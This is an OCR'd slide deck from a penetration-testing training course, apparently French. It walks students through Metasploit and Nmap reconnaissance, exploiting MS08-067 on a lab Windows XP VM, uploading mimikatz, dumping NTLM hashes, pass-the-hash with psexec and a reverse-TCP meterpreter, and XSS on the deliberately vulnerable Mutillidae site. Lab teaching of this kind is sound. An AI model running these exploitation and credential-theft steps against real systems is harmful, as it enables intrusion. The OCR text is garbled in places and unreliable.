HACK2

Security Audit

Intrusion Test

Trustimplies control,
Rate your vulnerability !

EACE U=

Your first call when it comes to IT and Security!

-
March 16, 2017




Summary

Introduction

Metasploit console basics
Reconnaissance

Direct exploitation

XSS practice

SQLi practice

Farewell

-



&) Introduction

Student glan

Al

172.16.128.0/24

_ab environnment

g Client IPVpn g Vpn Lan =

172.16.148.2

172.16.148.0/30

EACEL LU=
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WINDOWS 12
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METASPLOITABLE
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Connect to VPN

Search ‘
Everywhere ~ = = S

FRFEDO1-TCP-443-student_Al-config k Connect
« | FRFO01-TCP-445-student_A3-config k r
L
pfsense-TCP-443-drighetto-config b |
m OpenVPN GUI | ;
Settings... View Log
Pin to Start _ _ _
Exit Edit Config
Pin to Taskbar Bl - (Thanne Pacowuinrd

Uninstall
Open in new window
Run as administrator

Open file location
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———
—
-

—— | Remote Desktop
— ~>¢) Connection

=== Typethe name of a program, folder, documen,
==/ resource, and Windows will open it for you.

Computer: 172.16.XX.5

Open:

Username: Mone specfied

You will be asked for credentials when you connect.

'g: Show Options
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Install PUTTY and OWASP ZAP on WIN12 =

1 View Histery Bookmarks Tools Help
Download Page X\+

—| 6 :-: wwwi.chiark.greenend.org.uk/~sgtatham/putty/download.html

PuTTY D

Home | Licence | FAQ | I
Mirrors | Updates | Feedt

Here are the PuTTY files themselves: [

e PuTTY (the SSH and Telnet client itself)

¢ PSCP (an SCP client, i e. command-line secure file copy)

e DSETP (an SFTP client, i e general file transfer sessions nmich like FTP)

e PuTTYtel (a Telnet-only client)

¢ DPlink (a command-line interface to the PuTTY back ends)

® Dageant (an SSH authentication agent for PuTTY. PSCP. PSFTP. and Plink)
® PulTYgen (an RSA and DSA kev generation uiilitv).

LEGAL WARNING: Use of PuTTY, PSCP. PSFTP and Plink is illegal in countries where encryption is outlawed We t
lawvers, and so if in doubt vou should seek legal advice before downloading it. You may find useful information at crvptol

Use of the Telnet-only binary (PuTT Ytel) is unrestricted by any cryptography laws.

There are cryptographic signatures available for all the files we offer below. We also supply cryptographically signed lists
Windows program to compute MD3 checksums, you could try this one at pc-tools.net. (This MD35 program is also crypt

Binaries

The latest release version (beta 0.67)

This will generally be a version we think is reasonably likely to work well. If vou have a problem with the release version,

For Windows on Intel x86
PuTTY: utty.exe (or by FTP) (signature)

2

iew History Bookmarks Tools Help

Uownloads « zaproxy/zapr.. \+

€ | (U @ GitHub, Inc. (US) https://github.com/zaproxy/zaproxy/wiki/Downloads - 30T kB =4 41.7MB i

O Personal Opensource Business Explore Pricing Blog Support  This repositc

zaproxy / zaproxy 104
Code Issues 490 Pull requests 22 Projects 0 EE Wiki Pulse
Downloads

Simon Bennetts edited this page 4 days ago - 98 revisions

Not sure how to start using ZAP? Read the Getting Started Guide (pdf).

ZAP 2.5.0 Standard

Windows 2016-06-03 71.8 MB Download now
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Don’t forget to clean your Proxy settings on WIN12

—

- Connection Settings b

Configure Proxies to Access the Internet
e

( ® Mo proxy

Local Area Network (LAN) Setti
S A ) i IE () Auto-detect proxy settings for this network

Automatic configuration () Use system proxy settings
Automatic configuration may override manual settings. To ensure the O Manual proxy configuration:
use of manual settings, disable automatic configuration. ' HTTP Prosy: Port:

[ Automatically detect settings

Use this proxy server for all protocols

|:| IJse automatic configuration script SSL Prowy: Port:

address ETP Proxy: Port:

SOCKS Host: Port:

Proxy server SOCKS v4 SOCK5 ¥5 Remote DMS

1 IJse a proxy server for your LAM (These settings will not apply to Mo Proxy for:
dial-up or VPM connections). localhost, 127.0.0.1

Address: | localhost Faork: | 8080 Advanced

Bypass proxy server for local addresses Example: .mozilla.org, .net.nz, 192.168.1.0/24
() Automatic proxy configuration URL:

Reload

ok || cancel

Do not prompt for authentication if password is saved

oK H Cancel
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.

heck connection to Metasploitable machine from WIN12

—

Metasploitabled - Linux H\+

172.16.XX.7

N
V)
Y
N |

||
|1/
||
|_|




nvironnment

- dINEnre

Introduction
Connect using putty to KALI2 from WIN12
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Your first call when it col

mes to IT and Security!

EI Hﬂﬁndnw
5 Appearance

Features

Basic options for your PuTTY session

Specify the destination vou want to connect to

Host Mame (or IP address)

Fort

17216006

22

Connection type:

(JRaw () Telnet () Rlogin (® 55H () Seral

Load, save or delete a stored session
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Console Interface, for anyone

Applications Places z E Wed Sep 2, 2:42 PM
root@kali: ~

File Edit View Search Terminal Help

~

#HH#H HEHHHHH #HH#H

H#i#H / \ ¥ \ / \ e / / \ A \ H#i##HH
################################################################################
B e T e
# WAVE 4 #######4# SCORE 31337 #######HHH#HHHH#HHHHHHH#HH###HHH##H HIGH FFFFFFFF #
B B e T e

http://metasploit.pro

Payload caught by AV? Fly under the radar with Dynamic Payloads in
Metasploit Pro -- learn more on http://rapid7.com/metasploit

=[ metasploit v4.11.1-2015031001 [core:4.11.1.pre.2015031001 api:1.0.0]]
+ -- --=[ 1412 exploits - 802 auxiliary - 229 post ]
+ -- --=[ 361 payloads - 37 encoders - 8 nops
+ -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ]

nsf > i

root@kali: ~ ¥ [Kali Linux, an Offensi...
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o) Metasploit basics

&2 Project- Test ¥ = Account- jondoe ¥ & Administration

@metasploit

community

& Overview B4 Analysis L] Sessions e % campaigns #~ \Web Apps € Modules  Tags 1 Reports Tasks

Home Test Hosts

% GotoHost [l Delete % Scan 4= Import  (34) Nexpose €3 Modules ¢4 Bruteforce ) Exploit @ Mew Host

[§ Hosts || || Notes || T Services || €2 Vulnerabilities ||S Captured Evidence |

Show m entries
- IP Address Name 0OS Name Services Vulns Updated v Status

10.1.85.80 BEA Unknown 1 2 minutes ago
{:\ Linux
vmware-bavm

10.1.95.113 vmware-bavm  2.6.12-0-686 #1 Mon i 3 minutes ago
Oct 10 13:25:32 BST
2005 686

10.1.895.253 = Konica Printer printer 5 minutes ago Scanned

Showing 1 to 3 of 3 entries | First | | Previous | - | Next | | Last |

Metasploit Community 4.1.0 - Update 20111012000000 £ 2010-2011 Rapid7 LLC, Boston, MA «:*RAPID7
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Metasploit & Database

* Why
* Log all relevant events
 Ease of pentest (Port / Host view)
» Workspace view
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Your first call when it comes to IT and Security!

Metasploit & Database e

* Use a postgreSQL Database
e Startthe db

root@kali:~# service postgresgl start

[ ok ] Starting PostgreSQL 9.1 database server: main.

L12.32-dev
exploits - 905 auxiliary -
pavloads - 39 encoders - 8

* Autoconfigure metasploit e o Bra primls Bropes

r-7.co/trymsp
# m=f > m=sfdb init

[*] exec: mefdb init

Creating database user 'm=sf'
password for new role:
it again:
Creating databases 'msf' and 'msf test'
Creating configuration file in /usr/share/metasploit-framework/config/database.yml
Creating initial database =schema
i2f > db_status
%] postgre=sgl =elected, no connection

> db_connect -y fusr/share/metasploit-framework/config/database.yml
Eebuilding the module cache in the background...
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Metasploit home

* Create workspace

msf = workspace
Tault
workspace -a mylab
dded workspace: mylab
workspace




Reconnaissance

e Use the traditionnal NMAP

* Db_nmap add any findings in metasploit workspace database

host name state info

172.16.128.7 80

port

F:| roto

Tt F] |"'| Tt F] (o] pl £

172.16.128.5
172.16.128.6
172.16.128.7
172.16.128.8

00:50:56:0a:01:05

00:50:56:0a:01:07
00:50:56:0a8:01:08

name

0S_name

Unknown
Unknown
Unknown

os_flavor

EACESLIUS

Your first call when it comes to IT and Security!

£

0s sp purpose info commen

device
device
device
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Your first call when o IT and Sec

Nmap/db nmap basic usage

* Nmap targetx targety (Where targetis an IP, CIDR range or hostname)

* «-v»Verbose to have an overview of job run (for ranges)

e «-p» to define port to use, «--top-ports x» to use top x used ports
 As defined in nmap-services

* «-0» or «-A» enable os detection or all detection




Nmap/db nmap basic usage

msf > db_nmap -A -p 80,1 172.16.128.7

Nmap: Starting Nmap 6.47 ( http://nmap.org ) at 2015-09-02 16:18 CEST

Nmap: Nmap scan report for 172.16.128.7

Nmap: Host 1s up (0.00015s latency).

Nmap: PORT  STATE SERVICE VERSION

Nmap: 1/tcp closed tcpmux

Nmap: 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)

Nmap: | _http-methods: No Allow or Public header in OPTIONS response (status code 200)
Nmap: | _http-title: Metasploitable2 - Linux

Nmap: MAC Address: 00:50:56:0A:01:07 (VMware)

Nmap: Device type: general purpose

Nmap: Running: Linux 2.6.X

Nmap: OS CPE: cpe:/o:1linux:linux_kernel:2.6

Nmap: OS details: Linux 2.6.9 - 2.6.33

Nmap: Network Distance: 1 hop

Nmap: TRACEROUTE

Nmap: HOP RTT ADDRESS

Nmap: 1 0.15 ms 172.16.128.7

Nmap: OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/
Nmap: Nmap done: 1 IP address (1 host up) scanned in 8.21 seconds

*"-ﬁ”-ﬁ-"-’-ﬁ-ﬁ*-’-ﬁ-’*-’-‘-’*

bl bd bl bl hd bd bl bl d bd bl vl vl fd bl vl vk S

[
[*
[
[*
[*
[*
[*
[*
B
[*
[*
[*
[*
[¥
[*
[*
&y
[*
[*
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first call when it comes to IT and Security!

Nmap/db nmap basic usage

Scan type :

-sS SYN scan, nmap generated

-sT TCP basic scanning through OS (no root rights required)
-sU UDP scanning

Speed:
-TO -5 WARNING always think about impact on the infrastructure !

Dead Host / Host Discovery
-Pn no ping for host outside local range (arp on local lan)



Hand on lab

Setup msf & postgres
In a new workspace

Inventory your student LAN
List all VM with HTTP open

List all VM with SMB open

Determine OS version

=
Your

KOSU iUy

first call when it comes to IT and Security!
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Direct exploitation

* Direct exploitation could happen
* Directisrare in real life, but existant
e Good introduction to metasploit « exploits »

* Browser exploitation is a reality
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Solution

* Nmap quickly the range with Services and 0S identification

> db nmap 172.16.132. 4 -0 -v —-—-top-ports 25

Hmap: Starting Hmap 7.30 ( https: nap.org ) at 2016-10-14 22:55 CEST
Hmap: Initiating ARP Ping Scan

Hmap: Scanning 235 hosts [1 port/

Hmap: Completed ARP Ping Scan at 22:55, 1.94= elaps

Hmap: Initiating Parallel DHS resoclution of 255 1

msf > services -u -p 80

Services

port proto name state info

172.16.128.7 80 http open = Apache httpd 2.2.8 (Ubuntu) DAV/2

msf > services -u -p 445

Services

port proto name state 1info

172.16.128.7 445 netbios-ssn open  Samba smbd 3.X workgroup: WORKGROUP
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Solution

* Deeper scan with reconnaissance, only interesting sub-subnet

OS2 name o8 flawvor = purpose

FreeBSD 2 device
Windows 2012 Server
Linux 3.3 Server
Linux LR T Server
Windows 2 client

e
[T L% T L T 6 R

w] =]

=
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Your first call when it comes to IT and Security!

Solution

* You may apply search on host selecting Linux 0S

name o2 name o3 flavor =3 purpose

FErVer
00:50:56:BE:TA: inuax LA T Server
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Direct exploitation

purpose

FreeBSD ; device
Windows 2012 SEerver
Linux 3.2 Server
Linux P : Server
Window=s XF client
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first call when it comes to IT and Security!

Hand on lab

Exploit a operating system

Pass the hash for lateral movement




Direct exploitation

msf > search ms08

Matching Modules

auxiliary/admin/ms/ms08_05S9 _his2006

Server 2006 Command Execution Vulnerability
exploit/windows/browser/ms08 041 snapshotviewer

oft Access ActiveX Control Arbitrary File Download
exploit/windows/browser/ms08 053 mediaencoder

ex.dll ActiveX Buffer Overflow
exploit/windows/browser/ms08 070 visual_studio_msmask

mask32.o0cx ActiveX Buffer Overflow
exploit/windows/browser/ms08_078_xml_corruption

exploit/windows/smb/m508_067_netapi

Service Relative Path Stack Corruption
exp loit/windows/smb/smb_relay
SMB Relay Code Execution

Disclosure Date
2008-10-14
2008-07-07
2008-09-09
2008-08-13
2008-12-07
2008-10-28

Rank
nornal
excellent
normal
normal

normal

Description

Microsoft Host Integration
Snapshot Viewer for Micros
Windows Media Encoder 9 wm
Microsoft Visual Studio Md
MSE8-078 Microsoft Interne
MS0O8-067 Microsoft Serve

MSO8-068 Microso Windows

EACESLIUS

Your first call when it comes to IT and Security!
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Your first call when it comes to IT and Security!

Direct exploitation

msf = info exploit/windows/smb./msG8_067_netapl

Mame: MS0B-067 Microsoft Server Service Relative Path Stack Corruption
Module: exploit/windows/smb/ms08 067 netapi

P-l.' tf ) W d S T IO i Ml =
Privileggg: Y;g i 67 Windows 2003 SP2 Spanish (NX)

License: Metasploit Framework License (BSD) 68 Windows 2003 SP2 Japanese (NO NX)
Rank: Great

Disclosed: 2008-10-28 Basic options: : . 5
e ¥ Name Current Setting Required Description

RHOST The target address
RPORT 445 yes Set the SMB service port
SMBPIPE BROWNSER yes The pipe name to use (BROWNSER, SRVSVC)

Provided by:
hdm <hdm@metasploit.com=
Brett Moore <brett.moore@insomniasec.coms
frank2 <frank2@dc949. org=>

i (<] cametasploit, ; :
jduck =jduck@metasploit.com= Baylaad dnteratien:

Space: 400

Available targets: -
L Avoid: 8 characters

Mame

Description:
This module exploits a parsing flaw in the path canonicalization
code of NetAPI32.d11 through the Server Service. This module is
capable of bypassing NX on some operating systems and service packs.
The correct target must be used to prevent the Server Service (along
with a dozen others in the same process) from crashing. Windows XP
targets seem to handle multiple successful exploitation events, but
2003 targets will often crash or hang on subsequent attempts. This
is just the first version of this module, full support for NX bypass
on 2003, along with other platforms, is still in development.

Automatic Targeting

Windows 2000 Universal
Windows ¥P SPO/SP1 Universal
Windows 2003 SPO Universal

References:
http://cvedetails.com/cve/2008- 4250/
http://www.osvdb.org/49243
http://technet.microsoft.com/en-us/security/bulletin/MS08-067
http://www.rapid7.com/vulndb/lookup/dcerpc-ms-netapi-netpathcanonicalize-dos
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Direct exploitation

msf > use exploit/windows/smb/ms08 067 netapi
msf exploit (ms08 067 netapi) > hosts

os_ flavor _ purpose info comments

00:50:56:BE: D5 8D FreeB5SD
00:50:56:BE:TC:T1 Windows Server

L1132,
L1132,

132,
L16.132.

00:50:56:BE:TA:DF Linux .B. BErVer
00:50:56:EBE:85: 6B Windows client

1
5
132,86 Linux . Server
7
8

exploit (ms0E 067 netapi) > hosts -5 xp -R

o2 flavor o= sp purpose 1info comments
172.16.132.8 O00:50:56:BE:85:
RHOSTS =» 172.16.132.8

mef exploit(ms0& 067 netapi) > I
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Direct exploitation

 Configuration of exploit is needed
* set/unset: set a variable (case sensitive)
» show : view conf info etc...

mst exploit(ms08_067_netapi) > show options
Module options (exploitswindowsssmbhsms0B_067_netapi):

Mame Current Setting Reguired Description

RPORT : B =MB SE et
SHMEPIPE BROWSER JES (BROWSER, SRWSWC)

Explo it tar get:

Id Hame

0 automatic Targeting
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Direct exploitation

 Configuration of exploit needed
* check: Validate missing

m=t exploitims08_067_netapil) »

failed: The following options failed to walidate: RHOST.

WARNING, MS08-067 need a target, if wrong ;

A fatal exception BE has occurred at 8828:CO811E36 in UXD UHH({81) +
88018E36. The current application will be terminated.

* Press any key to terminate the current application.
* Press CTRL+ALT+DEL again to restart your computer. You will
lose any unsaved information in all your applications.

Press any key to continue
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Direct exploitation

 Determine os version

st auxiliary( ) = use auxiliary/scanner/smb/smb_enumshares
st auxiliary( ) = show missing

Module options (auxiliary/scanner/smb/smb enumshares):

Name Current Setting Required Description

RHOSTS
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Direct exploitation

m2f auxiliary(smbk enumshares) > hosts -5 xp -R

mac oz flavor oS sp purpose
00:50:56:BE:85:6B Windows XP
RHOSTS =>»> 172.16.132.8

msf auxiliary(smb enumshares) > run

-] 172.16.132.8:139 — Login Failed: The 5ME server did not reply to our
(%] 172.16.132.8:445 — Windows XP S5ervice Pack 2 (English)
172.16.132.8:445 — HNo shares collected

Scanned 1 of 1 hosts (100% complete)
(*] Auxiliary module execution completed
m2f auxiliary(smbk enumshares) > I
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Direct exploitation

= use explolt/windows/smb/ms08 067 netapl
exploit(ms08 067 netapi) > |}

m=2f exploit (m=s08
EHOST =>» 172.16.

s}
it

Intomatically detecting the target...
Fingerprint: Windows XP - Service Pack 2 - lang:English
Selected Target: Windows XP 5P2 English (Always0On NX)
ttempting to trigger the vulnerability...
bytes) to 172.16.132.8
opened (172.16.132.6:4444 -» 172.16.132.8:1090) at 2016-10-14 23:17:20 +0200

e
-1

] =] [
R R [U

1
Sending =stage
Meterpreter =

W -

meterpreter > |:|
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meterpreter > cd
meterpreter > 1s

Listing: C:\

Type Last modified Name
100777/ rwx rwx rwx fil 2013-12-09 :30: AUTOEXEC .BAT
100444/r--r--r-- fil 2008-04-14 :00: Bootfont.bin
100666/ rw-rw-rw- fil 2013-12-09 :30: CONFIG.SYS
40777/ rwx rwx rwx dir 2013-12-10 220" Documents and Settings
1060444/r--r--r-- fil 2013-12-09 :30: I10.SYS
100444/r--r--r-- fisl ~2013-12-08 #2305 MSDOS .SYS
100555/ r-xr-xr-x fil  2008-04-14 :00: NTDETECT .COM

40555/ r-xr-xr-x dir 2015-09-04 :14: Program Files

40777/ rwx rwx rwx dir 2015-09-04 2 15%; RECYCLER

40777/ rwx rwx rwx dir 2013-12-09 Sl System Volume Information
40777/ rwx rwx rwx dir 2015-09-04 e i WINDOWS

100666/ rw-rw-rw- 212 fil 2013-12-09 Lo boot.ini

100444/r--r--r-- 252240 fil  2008-04-14 :00: ntldr

100666/ rw-rw-rw- 805306368 fil 2015-09-04 119+ pagefile.sys

meterpreter =
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meterpreter > ps

Process List

Name Session User
Path

[System Process] 4294967295

System AUTORITE NTASYSTEM

alg.exe AUTORITE NT\SERVICE LOCAL
C:\WINDOWS\System32\alg.exe
wscntfy.exe XPVM-76CF60\User
C:\WINDOWS\system32\wscntfy.exe
SMSSs.exe AUTORITE NTASYSTEM
\SystemRoot\System32\smss.exe
CSrss.exe AUTORITE NTA\SYSTEM
\??\C:\WINDOWS\system32\csrss.exe
winlogon.exe AUTORITE NT\SYSTEM
\??\C:\WINDOWS\system32\winlogon.exe
services.exe AUTORITE NTASYSTEM
C:\WINDOWS\system32\services.exe erpreter > migrate 1660
Lsass.exe AUTORITE NT\SYSTEM *] Migrating from 1860 to 1660...
Migration completed successfully.




meterpreter > upload /usr/share/mimikatz/Win32/mimikatz.exe c:\

[*] uploading : /usr/share/mimikatz/Win32/mimikatz.exe -> c:\

[*] uploaded : /usr/share/mimikatz/Win32/mimikatz.exe -> c:\\mimikatz.exe
meterpreter > shell

Process 432 created.

Channel 3 created.

Microsoft Windows XP [version 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

c:\>f

reter = hashdump
Administrateur:500:1253Tc64594a82a8695109ab020e40]1c :30ad43ad252910eT83c07a3Tadedchdbe: & :
HelpAssistant:1000:75c68Tdfl5eldeBabce36a82a514764e:50Tbelee/dl454567 7dE6al b396a25d3:::
Invit®:501:aad3b435b51404eecaad3b435b51404ee:31d6c feldl6ae931b73c59d7e0c089¢ch
SUPPHHT 38894550:1002:53ad3b435051404eeaad3b435051404ee:c827154048fdeca3042 lﬂ 8HH9e5a3

Usur'lHHB aalabl2dSbeBcOdlZ26fE8E92a33daaflh i eacadedfdfelda/add7d87/bo6261697d: 1 :
meterpreter = I

(’c SU L=

when it comes to IT and Security!
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meterpreter > run post/windows/gather/hashdump

Obtaining the boot key...

Calculating the hboot key using SYSKEY 30653d0flGecS56fafabl5ced4bd695fSc. . .
Obtaining the user 1list and keys...

Decrypting user keys...

Dumping password hints...

No users with password hints on this system

[*] Dumping password hashes...

Administrateur:500:1253fc64594a8ea8695109ab020e401c :30a43ad252910ef83cB7a3fadedchdbe: : :
Invit®:501 :aad3b435b51404eeaad3b435b51404ee:31d6c fe@dl6ae831b73c59d7e0c089cO: : :

HelpAssistant :1000:75c68fdfl5el4eB8aBce36a92a514764e:59fbelee/7d14545677d56a2b396a25d3: : :
SUPPORT_388945a0:1002:aad3b435b51404eeaad3b435b51404ee:c8271a4048fdece304251e228009e5a3

uéér:1003:aa1ab12d9be8cOd126f8092a33daaf05:eaeade404felda7a447d87b96261697d:::




EACESLIUS

Your first call when it comes to IT and Security!

msf exploit(ms08 067 netapi) > creds
Credentials

service public private
realm private_type

172.16.128.9 445/tcp (smb) administrateur 1253fc64594a8ea8695109ab020e401c :
252910ef83c0@7a3fadedcbdbe NTLM hash
172.16.128.9 445/tcp (smb) invit® aad3b435b51404eeaad3b435b51404ee:
0d16ae931b73c59d7e0c089cO NTLM hash
172.16.128.9 445/tcp (smb) helpassistant 75c68fdfl5eld4eB8aBce36a92a514764e:
e7d14545677d56a2b396a25d3 NTLM hash

172.16.128.9 445/tcp (smb) support 388945a0 aad3b435b51404eeaad3b435b51404ee:
048fdece304251e228009e5a3 NTLM hash
172.16.128.9 445/tcp (smb) user aalabl2d9be8c0d126f8092a33daaf05:
04felda7ad447d87b96261697d NTLM hash




EACESLIUS
f

r first call when it comes to IT and Security!

meterpreter >
meterpreter > background

[*] Backgrounding session 2...
msf exploit(ms08 067 netapi) > sessions

Active sessions

Information Connection

meterpreter x86/win32 AUTORITE NT\SYSTEM @ XPVM-76CF60 172.16.128.6:4444 -> 172
.16.128.9:1059 (172.16.128.9)

msf exploit(ms08 067 netapi) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > |j




EACESLIUS

Your first call when it comes to IT and Security!

msf exploit(psexec) > creds -u admin
Credentials

service public private
realm private type

172.16.128.9 445/tcp (smb) ElhbiahE3decid=0ls 1253fc64594a82a8695109ab020e401c :30a43ad25
2910ef83cO@7a3fadedchdbe NTLM hash

msf exploit(psexec) > use exploit/windows/smb/psexec

msf exploit(psexec) > set RHOST 172.16.128.9

RHOST => 172.16.128.9

msf exploit(psexec) > set payload windows/meterpreter/reverse tcp

payload => windows/meterpreter/reverse tcp

msf exploit(psexec) > set LHOST 172.16.128.6

LHOST => 172.16.128.6

msf exploit(psexec) > set SMBPass 1253fc64594a8eaB8695109ab020e401c :30ad43ad252910ef83c07
a3fadedcbd6e

SMBPass => 1253fc64594a82a8695109ab020e401c :30a43ad252910ef83cB7a3fadedcbdbe

msf exploit(psexec) > set SMBUser administrateur

SMBUser => administrateur

msf exploit(psexec) > exploit




> use exploit/windows/smb/psexec
exploit(psexec) > set payload windows/meterpreter/

payload
payload
payload
payload
payload
payload
payload
payload
payload
payload
payload
payload
payload
payload
payload
payload
payload
payload
payload

windows/meterpreter/bind _hidden ipknock tcp
windows/meterpreter/bind_hidden tcp
windows/meterpreter/bind_ipv6_tcp
windows/meterpreter/bind nonx_tcp
windows/meterpreter/bind tcp
windows/meterpreter/bind _tcp_rc4
windows/meterpreter/reverse _hop_http
windows/meterpreter/reverse http
windows/meterpreter/reverse http proxy pstore
windows/meterpreter/reverse https
windows/meterpreter/reverse https_ proxy
windows/meterpreter/reverse ipv6 tcp
windows/meterpreter/reverse_nonx_tcp
windows/meterpreter/reverse ord_tcp
windows/meterpreter/reverse tcp
windows/meterpreter/reverse_tcp_allports
windows/meterpreter/reverse_tcp_dns
windows/meterpreter/reverse_tcp_rcé4
windows/meterpreter/reverse_tcp_rc4_dns

exploit(psexec) >

EACESLIUS

Your first call when it comes to IT and Security!




EACESLIUS

Your first call when it comes to IT and Security!

exploit(psexec) > exploit

=
N
—+

Started reverse handler on 172.16.128.6:4444

Connecting to the server...

Authenticating to 172.16.128.9:445|WORKGROUP as user 'administrateur'...
Uploading payload...

Created \cNSHhDxh.exe...

172.16.128.9:445 - Service started successfully...

Deleting \cNSHhDxh.exe. ..

Sending stage (770048 bytes) to 172.16.128.9

P N L ) .
¥ ¥ 4 ¥ ¥ ¥ ¥ ¥
d el v ) —) A —

meterpreter > sysinfo
Computer : XPVM-76CF60

0S : Windows XP (Build 2600, Service Pack 3).
Architecture . x86

System Language : fr_FR

Meterpreter : x86/win32

meterpreter >




a) Web applications in practice XSS
A very bad website

B Q}@ Mutillidae: Born to be Hacked -

Version: 2.1.19 Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder) Not Logged In

Home Login/Register Toggle Hints Toggle Security Reset DB View Log View Captured Data

Core Controls
F—— Mutillidae: Deliberately Vulnerable
PHP Scripts Of OWASP Top 10

Others

Documentation Latest Version / Installation

Resources Latest Version

Installation Instructions

Usage Instructions

Get rid of those pesky PHP errors
Change Log

Notes

Site
hacked...err...quality- Samurai WTF and Backtrack contains all the tools needed or you may
tested with Samurai build your own collection

WTF, Backtrack,
Firefox, Burp-Suite,

Netcat, and these %Q ) TS /
Mozilla Add-ons X - N, -

back]track /4

I




SXCESULLIU=

first call when it comes to IT and Security!

XSS

 Javascript executed client side
e May be used for

Popup « XSS »

Csrf

Token stealh

Fake Auth




») XSS Practice ——

Web « tools »

Attack
Browser
Proxy

(FireFox) (Zap)

——
O r—]

‘ |



SS Practice

EXceLLiu=
Your first call when it comes to IT and Securb
BT

Untitled Session - OWASP ZAP

(S]] - Z

File Edit View Analyse Report Tools Help

[

« t_(30|s »

I EB8de B8 i=ebh b

I

t=» | Responseé= | Break X |

— [ GET:admin.jsp
—— [7) GET:basket.jsp

[ GET:contact.jsp

. [ GET:home.jsp ¥

[ GET:login.jsp F

[7) GET:logout.jsp

[*) GET:password.jsp P

[ GET:product.jsp(prodid)
[ GET:product.jsp(typeid)
[7) GET:register.jsp

[7) GET:score.jsp

[ POST:basket.jsp(quantity_31,quantity_6,
[ POST:basket.jsp(update) F
[ POST:contact.jsp(comments, null)

IR POST:login.jsp(password,username)
[ PoST:login.jsp(username)

[* PoST:password.jsp

[ PosT:p ord.jsp(p ordl,p or¢

[ PoST:register.jsp(username) P
» (& images

[7] PoST:basket.jsp(price, productid, quantit:

E] POST:contact.jsp(comments,test2@test

[ POST:register.jsp(passwordl,password2

-« ) 'DL

Raw View v

Host: localhost: 8080

efox/3.5.15

Keep-Alive: 300

. Cookie: b_id=9; JSESSIO
Content-Type: applicatio
Content-length: 47

username = THEELKpas

i

[ History =1 T Search S T Break Points 3¢ T Alerts

fu T Active Scan 2 T Spic;

POST  http://localhost: 8080 /bodgeit/login. jsp
POST  http://localhost: 8080 /bodgeit/login. jsp
POST  http://localhost: 8080 /bodgeit/login. jsp
POST  http://localhost: 8080 /bodgeit/login. jsp
POST  http://localhost: 8080 /bodgeit/login. jsp
POST  http: //localhost: 8080 /bodgeit/login. jsp
POST  http://localhost: 8080 /bodgeit/login. jsp
POST  http://localhost: 8080 /bodgeit/login. jsp
POST  http://localhost: 8080 /bodgeit/login. jsp

2 e OOON L b i AL

Proxy-Connection: keep-alive
Referer: http://localhost:808C

String to Fuzz:
Fuzz Category:

Fuzzers:

POST http://localhost:8080/bodgeit/login.jsp HTTP/1.1

Accept: text/html, application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-1,utf-8;9=0.7,*;0=0.7

User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; nv.1.9.1.15) Gecko/20101027 Fedora/3.5.15-1.fc12 Fir

test%40

|xss

ASP .NET validateRequest

JSON

MS Anti-XSS lib_v3.0
Server Side Includes
URI Cross Site Scripting
URL Breaking

XSS 101

XSS 102

XSS Embed/Evade
XSS Gecko

XSS HTML Breaking
XSS Image Tag

l

[Alerts@m 2 P 1 2 W0

| XSS Internet Fxnlorer ¥
l Fuz 1 cancel i ==
A
200 OK 10ms 1828 K
200 OK 10ms 1808
200 OK 10ms 2450
200 OK 11ms 1803
200 OK 12ms 1802
200 OK 12ms 1808
200 OK 12ms 1809
200 OK 12ms 2450 v
Current Scans 2 0 %0 2”0 3 0 440
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o) XSS Practice Rl

Web « tools »

— ~ Tools is just a tool, choose the one you prefer

ht ﬁa;dd—o*ns.mozilIa.org/en-US/firefOX/addOH/haCkba"/ -

o E£dt Yew Hgory Bockmarks Jooks Heb

—— - ] ~
(g - . e /_I} . 3 http: {fimages.google.nlfimages?dient=frefox-sbets=org. mozla:er-US:céficialichonny | | e K;,J' oo

@ Geitrg arted || Lakest Headlnes
= INT-1 ©INT+1 = MEX-1 © HEX-1 MySQL MsSQL XSS Encryption  Encodng  Other

& LopdlRL http: //ixages, googie.nl/inages
relient=firefox-a
ok LURL srlz=org.mozilla:en-US:official
schannelss
shl=nl
&q~hackbar

[V EnabloPost data [ Enable Referrer

[POSI data nanipulation? ]

Het Intemet  Afbeeldingen Maps Nieuws Video Gmal meerv Aanmelden =

Vookegien

GO L)gle [hackbar Afbeeldingen zoeken | Hetweb doorzoeken | “iauinsssd zashsn naa dasldity

Afbeeldingen Weergeven: | Alle afbesldingsformaten _:] Resultaten 1 - 20 van circa 1.160 voor hackbar (0,30 seconden)



&) XSS Practice CxXCe
Web « tools »

= ~ Tools is just a tool, choose the one you prefer

T ———.

-

Eve en simply y the developper tools -

E Developer Tools - http:/fclosure-library.googlecode.com/svn/trunk/closure/goog/demos/hovercard html EE

€ =@ A0 YHE Q

Elements | Resources  Metwork Scripts  Timeline Profiles  Audits  Console Search Rezources

¥ Frames
¥ I:l (hovercard.html}

[
—

-—

=

El

Copyright 281@ The Closure Library Authors. 411 Rights Re

| | absoluteposition.js
|_| abatractposition js
| | advancedtooltip js

(s Iy [ R WY

Use of this source code is governed by the Apache License
See the COPYING file for details.
--F
<head:
<titlergoog.ui.HoverCard</title>
¢=cript src="../base.js">< /script>
{scripts
goog.require( ' goog.debug.DivConsole' );
goog.require('goog.debug.Logger');
goog.requirel ' goog.debug. LogManager');
il] |

| | anchoredposition.js

| | anchoredviewportposition.js
| | array.js

| |asserts s

| |basejs

| |boxjs

| | hrawwearairant io

=

N
T ey T

=
un

-
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XSS Practice ERCEio

Web « tools », Client configuration for ZAP g

—

.

Configure Proxies to Access the Internet

-——

- — O No proxy E

O Auto-detect proxy settings for this network N

———

- cm— O Use system proxy settings

® Manual proxy configuration:

lUge this proxy server for all protocolsi
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first call when it comes to IT and Security!

Clean Up of Mutillidae

q&g Mutillidae: Born e Hacked
A A

Version: 2.1.19 Security Level: 0 (Hosed) Hints: Di 0 - 1 try harder) Not Logged In

Home Login/Register Toggle Hints Toggle Security View Captured Data

Mutillidae: Deliberately Vulnerable PHP Scripts Of OWASP Top 10




@ XSS Practice 1

Security Level: 0 (Hosed) Hints: Disabled (0 - | try harder)

4

* http://yourmsf2/mutillidae/index.php?pag ﬁrfd-color.php
